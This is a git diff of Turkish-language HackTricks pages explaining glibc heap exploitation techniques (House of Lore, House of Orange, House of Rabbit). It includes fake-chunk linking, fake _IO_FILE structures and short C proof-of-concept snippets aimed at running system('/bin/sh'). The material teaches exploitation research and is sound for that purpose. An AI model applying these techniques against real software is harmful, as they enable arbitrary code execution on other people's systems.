olarak o dize içeriğine sahip parçayı serbest bırakın. +* Serbest bırakılan ancak işaretçi temizlenmeden tekrar kullanılmasına izin veren bir UAF vardır. Bazı okuma yöntemleri olduğundan, burada GOT'a serbest işlevine bir işaretçi yazarak bir libc adresi sızdırmak ve ardından okuma işlevini çağırmak mümkündür. +* Ardından, (UAF'yi kötüye kullanarak) sol boşluğun boyutu -1 ile üzerine yazılarak House of force kullanıldı, serbest kancaya ulaşmak için yeterince büyük bir parça ayrıldı ve ardından serbest kancayı içerecek başka bir parça ayrıldı. Ardından, kancaya `system` adresi yazılır, bir parçaya `"/bin/sh"` yazılır ve son olarak bu dize içeriğine sahip parça serbest bırakılır. diff --git a/binary-exploitation/libc-heap/house-of-lore.md b/binary-exploitation/libc-heap/house-of-lore.md index 51d0e5325..f98cecd0c 100644 --- a/binary-exploitation/libc-heap/house-of-lore.md +++ b/binary-exploitation/libc-heap/house-of-lore.md @@ -1,18 +1,19 @@ -# House of Lore | Küçük Bin Saldırısı +# House of Lore | Small bin Attack + +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+{% endhint %} ## Temel Bilgiler @@ -21,37 +22,52 @@ HackTricks'ı desteklemenin diğer yolları: * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) adresinden kontrol edin * Bu çalışmıyor * Veya: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c) -* Bu, bazı kontrolleri atlamaya çalışsa da çalışmıyor ve hata alınıyor: `malloc(): unaligned tcache chunk detected` +* Bu, bazı kontrolleri atlamaya çalışsa da çalışmıyor ve `malloc(): unaligned tcache chunk detected` hatasını alıyor * Bu örnek hala çalışıyor: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) ### Amaç -* **Küçük bir parça ekleyerek sahte bir küçük parçayı yerleştirin ve ardından onu ayırabilir hale getirin**.\ +* **Küçük binde sahte bir küçük parça ekleyerek onu tahsis etmek mümkün hale gelir.**\ Eklenen küçük parça, saldırganın oluşturduğu sahte parçadır ve rastgele bir konumda sahte değildir. ### Gereksinimler -* 2 sahte parça oluşturun ve bunları birbirine ve meşru parçaya bağlayın: -* `sahte0.bk` -> `sahte1` -* `sahte1.fd` -> `sahte0` -* `sahte0.fd` -> `meşru` (başka bir zayıflıktan dolayı serbest bırakılan küçük parça içindeki bir işaretçiyi değiştirmeniz gerekmektedir) -* `meşru.bk` -> `sahte0` +* 2 sahte parça oluşturun ve bunları birbirine ve küçük bindeki meşru parçaya bağlayın: +* `fake0.bk` -> `fake1` +* `fake1.fd` -> `fake0` +* `fake0.fd` -> `legit` (başka bir zayıflık aracılığıyla serbest bırakılan küçük bin parçasındaki bir işaretçiyi değiştirmeniz gerekir) +* `legit.bk` -> `fake0` -Böylece `sahte0`'ı tahsis edebileceksiniz. +Daha sonra `fake0`'ı tahsis edebileceksiniz. ### Saldırı -* Bir küçük parça (`meşru`) tahsis edilir, ardından üst parçayla birleşmesini önlemek için başka bir parça tahsis edilir. Daha sonra, `meşru` serbest bırakılır (onu sıralanmamış kova listesine taşır) ve daha büyük bir parça tahsis edilir, **`meşru`'yu küçük kovaya taşır.** +* Bir küçük parça (`legit`) tahsis edilir, ardından üst parçayla birleşmesini önlemek için başka bir parça tahsis edilir. Ardından, `legit` serbest bırakılır (onu sıralanmamış bin listesine taşır) ve daha büyük bir parça tahsis edilir, **`legit`'i küçük bine taşır.** * Bir saldırgan birkaç sahte küçük parça oluşturur ve gerekli bağlantıları yaparak sağlamlık kontrollerini atlar: -* `sahte0.bk` -> `sahte1` -* `sahte1.fd` -> `sahte0` -* `sahte0.fd` -> `meşru` (başka bir zayıflıktan dolayı serbest bırakılan küçük parça içindeki bir işaretçiyi değiştirmeniz gerekmektedir) -* `meşru.bk` -> `sahte0` -* Meşru almak için bir küçük parça tahsis edilir, **`sahte0`**'ı küçük kova listesinin üstüne taşır -* Başka bir küçük parça tahsis edilir, `sahte0`'ı bir parça olarak alarak, içindeki işaretçilere okuma/yazma yapma olasılığı sağlar. +* `fake0.bk` -> `fake1` +* `fake1.fd` -> `fake0` +* `fake0.fd` -> `legit` (başka bir zayıflık aracılığıyla serbest bırakılan küçük bin parçasındaki bir işaretçiyi değiştirmeniz gerekir) +* `legit.bk` -> `fake0` +* `legit`'i almak için bir küçük parça tahsis edilir, **`fake0`**'ı küçük parçaların üst listesine taşır +* Başka bir küçük parça tahsis edilir, `fake0`'ı bir parça olarak alır, potansiyel olarak içindeki işaretçileri okuma/yazma izni verir. ## Referanslar * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore) * [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) + +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. + +
+{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-orange.md b/binary-exploitation/libc-heap/house-of-orange.md index e9cca6bb7..203ccfe03 100644 --- a/binary-exploitation/libc-heap/house-of-orange.md +++ b/binary-exploitation/libc-heap/house-of-orange.md @@ -1,97 +1,100 @@ # House of Orange +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin. -- **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler ### Kod -- Örnek bulunabilir: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c) -- Saldırı tekniği bu [yamada](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) düzeltildi (2.26'dan önce çalışıyordu) -- Daha fazla yorumla aynı örnek: [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html) +* Örnek bulunabilir: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c) +* Saldırı tekniği bu [yamada](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) düzeltildi (2.26'dan önce çalışır) +* Daha fazla yorumla aynı örnek: [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html) ### Amaç -- `malloc_printerr` fonksiyonunu kötüye kullanmak +* `malloc_printerr` fonksiyonunu kötüye kullanmak ### Gereksinimler -- Üst parça boyutunu üzerine yaz -- Libc ve heap sızıntıları +* Üst parça boyutunu üzerine yaz +* Libc ve heap sızıntıları ### Arka Plan -Gerekli arka plan bilgileri [**bu örneğin yorumlarından**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)** alınmıştır:** +Gerekli arka plan bilgileri [**bu örneğin**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)** yorumlarından alınabilir:** -Önceki libc sürümlerinde, `malloc_printerr` fonksiyonu çağrıldığında, `_IO_list_all` içinde depolanan `_IO_FILE` yapılarının listesini **dolaşır** ve aslında bu yapıdaki bir komut işaretçisini **çalıştırırdı**.\ -Bu saldırı, **sahte bir `_IO_FILE` yapısı** oluşturacak ve bu yapının **`_IO_list_all`'a yazılmasına** neden olacak. Sonra `malloc_printerr`'ın çalışmasına neden olacak olan **`_IO_FILE`** yapılarının atlamalı tablosunda sakladığımız herhangi bir adresi **çalıştıracak**. +Önceki libc sürümlerinde, `malloc_printerr` fonksiyonu çağrıldığında, `_IO_list_all` içinde depolanan `_IO_FILE` yapılarının listesini dolaşır ve aslında bu yapıdaki bir komut işaretçisini **çalıştırırdı**.\ +Bu saldırı, **sahte bir `_IO_FILE` yapısı** oluşturacak ve bu yapının `_IO_list_all`'a yazılmasına neden olacak ve `malloc_printerr`'ın çalışmasına neden olacak.\ +Daha sonra, **`_IO_FILE`** yapılarının atlamalı tablosunda depolanan herhangi bir adresi **çalıştıracak** ve kod yürüteceğiz. ### Saldırı -Saldırı, **sıralanmamış parçada** **üst parçayı** elde etmekle başlar. Bu, `malloc`'u mevcut üst parça boyutundan daha büyük ancak **`mmp_.mmap_threshold`**'den (varsayılan olarak 128K) daha küçük bir boyutta çağırarak başarılır, aksi takdirde `mmap` tahsili tetiklenir. Üst parça boyutu değiştirildiğinde, **üst parça + boyutunun** sayfa hizalanmış olması ve üst parça **prev\_inuse** bitinin her zaman ayarlı olması önemlidir. +Saldırı, **sıralanmamış parçada** **üst parçayı** elde etmekle başlar. Bu, `malloc` çağrılarak başarılır; mevcut üst parça boyutundan daha büyük ancak **`mmp_.mmap_threshold`**'den (varsayılan olarak 128K) daha küçük bir boyutta. Üst parça boyutu değiştirildiğinde, **üst parça + boyutunun** sayfa hizalanmış olmasını ve üst parça **prev\_inuse** bitinin her zaman ayarlı olmasını sağlamak önemlidir. -Üst parçayı sıralanmamış parçaya almak için, üst parçayı oluşturmak için bir parça tahsis edin, üst parça boyutunu (tahsis edilen parçada taşma ile) değiştirin, böylece **üst parça + boyutunun** sayfa hizalanmış ve **prev\_inuse** biti ayarlı olacak şekilde yapın. Daha sonra, yeni üst parça boyutundan daha büyük bir parça tahsis edin. Üst parçayı sıralanmamış parçaya almak için asla `free` çağrılmaz. +Üst parçayı sıralanmamış parçada elde etmek için, üst parçayı oluşturmak için bir parça tahsis edilir, üst parça boyutu değiştirilir (tahsis edilen parçada taşma ile) böylece **üst parça + boyut** sayfa hizalanmış ve **prev\_inuse** biti ayarlı olacak şekilde. Daha sonra, yeni üst parça boyutundan daha büyük bir parça tahsis edilir. Üst parçayı sıralanmamış parçaya almak için asla `free` çağrılmaz. Eski üst parça şimdi sıralanmamış parçada. İçindeki verileri okuyabiliyorsak (muhtemelen taşmaya neden olan bir zayıflıktan dolayı), libc adreslerini sızdırmak ve **\_IO\_list\_all** adresini almak mümkündür. -Sıralanmamış parça saldırısı, taşmayı kötüye kullanarak `topChunk->bk->fwd = _IO_list_all - 0x10` yazarak gerçekleştirilir. Yeni bir parça tahsis edildiğinde, eski üst parça bölünecek ve sıralanmamış parçaya bir işaretçi yazılacaktır. **`_IO_list_all`**'a. +Sıralanmamış parça saldırısı, taşmayı kötüye kullanarak `topChunk->bk->fwd = _IO_list_all - 0x10` yazarak gerçekleştirilir. Yeni bir parça tahsis edildiğinde, eski üst parça bölünecek ve sıralanmamış parçaya bir işaretçi yazılacaktır **`_IO_list_all`**. Bir sonraki adım, eski üst parça boyutunu küçültmek ve küçük bir parça içine sığacak şekilde ayarlamaktır, özellikle boyutunu **0x61** olarak ayarlamaktır. Bu iki amaçla hizmet eder: -1. **Küçük Parça 4'e Ekleme**: `malloc`, sıralanmamış parçayı taradığında ve bu parçayı görürse, boyutu küçük olduğundan onu küçük parça 4'e eklemeye çalışacaktır. Bu, parçanın, _IO_list_all`'ın FD işaretçisinin konumu olan küçük parça 4 listesinin başına gelmesine neden olur, çünkü sıralanmamış parça saldırısıyla **`_IO_list_all`**'a yakın bir adres yazdık. -2. **Malloc Kontrolünü Tetikleme**: Bu parça boyutu manipülasyonu, `malloc`'un iç kontrolleri yapmasına neden olacaktır. Sahte ileri parça boyutunu kontrol ettiğinde, bu boyut sıfır olacağından bir hata tetikler ve `malloc_printerr`'ı çağırır. +1. **Küçük Parça 4'e Ekleme**: `malloc`, sıralanmamış parçayı taradığında ve bu parçayı görürse, boyutu küçük olduğundan küçük parça 4'e eklemeye çalışacaktır. Bu, parçanın, _IO_list_all'ın bir yakın adresini **`_IO_list_all`** üzerinden yazdığımız için küçük parça 4 listesinin başına gelmesine neden olur. +2. **Malloc Kontrolünü Tetikleme**: Bu parça boyutu manipülasyonu, `malloc`'ın iç kontrolleri yapmasına neden olacaktır. Sahte ileri parça boyutunu kontrol ettiğinde, bu boyut sıfır olacağından bir hata tetikler ve `malloc_printerr`'ı çağırır. -Küçük parça manipülasyonu, parçanın ileri işaretçisini kontrol etmenizi sağlar. **\_IO\_list\_all** ile çakışma, sahte **\_IO\_FILE** yapısını oluşturmak için kullanılır. Yapı, libc'de iç kontrolleri geçen `_IO_write_base` ve `_IO_write_ptr` gibi önemli alanları içerecek şekilde dikkatlice oluşturulur. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun (örneğin, `system` fonksiyonu) çalıştırılabileceği adres olarak ayarlanır. +Küçük parça manipülasyonu, parçanın ileri işaretçisini kontrol etmenizi sağlar. **\_IO\_list\_all** ile çakışma, sahte bir **\_IO\_FILE** yapısı oluşturmak için kullanılır. Yapı, libc'de iç kontrolleri geçen `_IO_write_base` ve `_IO_write_ptr` gibi ana alanları içerecek şekilde dikkatlice oluşturulur. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun (örneğin, `system` işlevinin) yürütülebileceği adres olarak ayarlanır. Tekniğin geri kalanını özetlemek gerekirse: -- **Eski Üst Parçayı Küçült**: Eski üst parçanın boyutunu **0x61** olarak ayarlayın ve küçük bir parçaya sığacak şekilde ayarlayın. -- **Sahte `_IO_FILE` Yapısını Kur**: Eski üst parçayla çakışan sahte **\_IO_FILE** yapısını oluşturun ve akış kontrolünü ele geçirin. +* **Eski Üst Parçayı Küçült**: Eski üst parçanın boyutunu **0x61** olarak ayarlayarak küçültün. +* **Sahte `_IO_FILE` Yapısını Kur**: Eski üst parçayla çakışan sahte **\_IO_FILE** yapısını oluşturun ve akış kontrolünü ele geçirin. Bir sonraki adım, şu anda sıralanmamış parçada bulunan eski üst parçayla çakışan sahte **\_IO_FILE** yapısını oluşturmaktır. Bu yapının ilk baytları dikkatlice oluşturulur ve yürütülecek bir komuta (örneğin, "/bin/sh") bir işaretçi içerir. -Sahte **\_IO_FILE** yapısındaki ana alanlar, `_IO_write_base` ve `_IO_write_ptr` gibi, libc'de iç kontrolleri geçen değerlere ayarlanır. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun çalıştırılabileceği adres olarak ayarlanır. Genellikle, bu, `system` fonksiyonunun adresi veya kabuk komutlarının çalıştırılabileceği başka bir fonksiyonun adresi olacaktır. +Sahte **\_IO_FILE** yapısındaki ana alanlar, `_IO_write_base` ve `_IO_write_ptr` gibi, libc'de iç kontrolleri geçen değerlere ayarlanır. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun yürütülebileceği adres olarak ayarlanır. Genellikle, bu, `system` işlevinin adresi veya kabuk komutlarının yürütülebileceği başka bir işlevin adresi olacaktır. -Saldırı, `malloc`'a yapılan bir çağrı, manipüle edilmiş **\_IO_FILE** yapısı üzerinden kodun yürütülmesini tetiklediğinde doruğa ulaşır. Bu, genellikle bir kabukun başlatılmasına veya başka kötü amaçlı bir yükün yürütülmesine neden olacak olan keyfi kod yürütülmesine izin verir. +Saldırı, `malloc`'ın bir çağrısı, manipüle edilmiş **\_IO\_FILE** yapısı üzerinden kodun yürütülmesini tetiklediğinde doruğa ulaşır. Bu, genellikle bir kabukun başlatılmasına veya başka kötü amaçlı bir yükün yürütülmesine neden olacak keyfi kod yürütülmesine izin verir. **Saldırının Özeti:** -1. **Üst parçayı ayarlayın**: Bir parça tahsis edin ve üst parça boyutunu değiştirin. +1. **Üst parçayı hazırlayın**: Bir parça tahsis edin ve üst parça boyutunu değiştirin. 2. **Üst parçayı sıralanmamış parçaya zorla**: Daha büyük bir parça tahsis edin. 3. **Libc adreslerini sızdırın**: Zayıflıktan yararlanarak sıralanmamış parçadan okuyun. -4. **Sıralanmamış parça saldırısını gerçekleştirin**: Taşma kullanarak **\_IO_list_all**'a yazın. -5. **Eski üst parçayı küçült**: Küçük bir parçaya sığacak şekilde boyutunu ayarlayın. +4. **Sıralanmamış parça saldırısını gerçekleştirin**: Taşma kullanarak **\_IO\_list\_all**'a yazın. +5. **Eski üst parçayı küçültün**: Küçük bir parçaya sığacak şekilde boyutunu ayarlayın. 6. **Sahte \_IO\_FILE yapısını kurun**: Akış kontrolünü ele geçirmek için sahte bir dosya yapısı oluşturun. -7. **Kod yürütme tetikleyin**: Saldırıyı yürütmek ve keyfi kod çalıştırmak için bir parça tahsis edin. +7. **Kod yürütmesini tetikleyin**: Saldırıyı yürütmek ve keyfi kod çalıştırmak için bir parça tahsis edin. -Bu yaklaşım, `free` doğrudan çağrılmadan kod yürütme sağlamak için heap yönetimi mekanizmalarını, libc bilgi sızıntılarını ve heap taşmalarını kötüye kullanır. Sahte **\_IO_FILE** yapısını dikkatlice oluşturarak ve doğru konuma yerleştirerek, saldırı standart bellek tahsisi işlemleri sırasında kontrol akışını ele geçirebilir. Bu, keyfi kodun yürütülmesine olanak tanır ve genellikle bir kabuk veya diğer kötü amaçlı faaliyetlerin yürütülmesine neden olabilir. +Bu yaklaşım, `free` doğrudan çağrılmadan kod yürütme sağlamak için heap yönetimi mekanizmalarını, libc bilgi sızıntılarını ve heap taşmalarını kötüye kullanır. Sahte **\_IO\_FILE** yapısını dikkatlice oluşturarak ve doğru konuma yerleştirerek, saldırı standart bellek tahsis işlemleri sırasında kontrol akışını ele geçirebilir. Bu, keyfi kodun yürütülmesine olanak tanır ve genellikle bir kabuk veya diğer kötü amaçlı faaliyetlerin yürütülmesine neden olabilir. ## Referanslar * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/) * [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html) +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) arasında -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-rabbit.md b/binary-exploitation/libc-heap/house-of-rabbit.md index 23bcaa3bf..81b3fded1 100644 --- a/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/binary-exploitation/libc-heap/house-of-rabbit.md @@ -1,34 +1,35 @@ # Tavşan Evi +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ### Gereksinimler -1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, hızlı binde bir parçanın ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir. -2. **`malloc_consolidate`'i tetikleme yeteneği**: Bu, büyük bir parça tahsis ederek veya üst parçayı birleştirerek yapılabilir, bu da yığını parçaları birleştirmeye zorlar. +1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir. +2. **`malloc_consolidate`'i tetikleme yeteneği**: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar. ### Hedefler -1. **Üst üste binen parçalar oluşturmak**: Başka bir parçayla örtüşen bir parça oluşturarak yığın manipülasyonlarına olanak tanımak. -2. **Sahte parçalar oluşturmak**: Yalancı bir parçayı yığın işlemleri sırasında meşru bir parça olarak algılamak için tahsildarı kandırmak. +1. **Üst üste gelen parçalar oluşturmak**: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak. +2. **Sahte parçalar oluşturmak**: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak. ## Saldırı Adımları ### POC 1: Hızlı bin parça boyutunu değiştirme -**Amaç**: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste binen bir parça oluşturmak. +**Amaç**: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak. * **Adım 1: Parçalar Tahsis Etme** ```cpp @@ -45,15 +46,15 @@ free(chunk2); // Frees the chunk at 0x602050 ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` -* **Adım 4: `malloc_consolidate`'i Tetikleyin** +* **Adım 4: `malloc_consolidate`'yi Tetikleyin** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren `malloc_consolidate` işlevini tetikler. `chunk1`'in manipüle edilen boyutu, `chunk2` ile örtüşmesine neden olur. -Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürüme izin verir. +Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla 